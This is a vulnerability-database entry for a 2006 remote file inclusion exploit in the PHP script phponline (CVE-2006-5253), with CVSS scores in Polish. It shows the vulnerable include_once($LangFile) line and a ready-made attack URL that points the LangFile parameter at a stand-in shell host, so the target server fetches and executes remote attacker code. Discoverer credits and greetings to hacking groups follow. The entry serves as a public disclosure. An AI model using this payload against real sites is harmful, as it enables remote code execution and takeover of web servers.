phponline <= (LangFile) Remote File Inclusion Exploit

2006.10.16

Credit: MoHaNdKo

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2006-5253

CWE: N/A

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

#=======================================================================
=======================
#phponline <=  (LangFile) Remote File Inclusion Exploit
#=======================================================================
========================
#Bug in :index.php
#
#Vlu Code :
#--------------------------------
#
#include_once($LangFile);
#
#
#=======================================================================
=========================
#
#Exploit :
#--------------------------------
#
#htpp://sitename.com/[scerpitPath]/strload.php?LangFile=http://SHELLURL.COM
#
#
#
#=======================================================================
=========================
#Discoverd By : MoHaNdKo
#
#Conatact : xp1o (at) msn (dot) com [email concealed]
#or
#
# wWw.xP10.CoM & wWw.TRyaG.CoM
#
#Greetz : r00tshell ( abo nora ) & 3abdalah & KaBaRa & mahmood_ali & ThE-WoLf-KsA & abu shad & v1per-haCker & MR.WOLF & 
#
#abu melaf & mohagr22 & metoovet & fuck_net & &#957;&#943;&#961;&#949;&#1103;~&#1106;&#940;&#962;&#954;&#949;&#1103; & hitlar gada
#
#
# and all member on xp10.com and tryag.com and lezr.com
========================================================================
==========================

vendor:
http://www.dayanahost.com/file/phponline_2.1.1.zip

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

phponline <= (LangFile) Remote File Inclusion Exploit

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.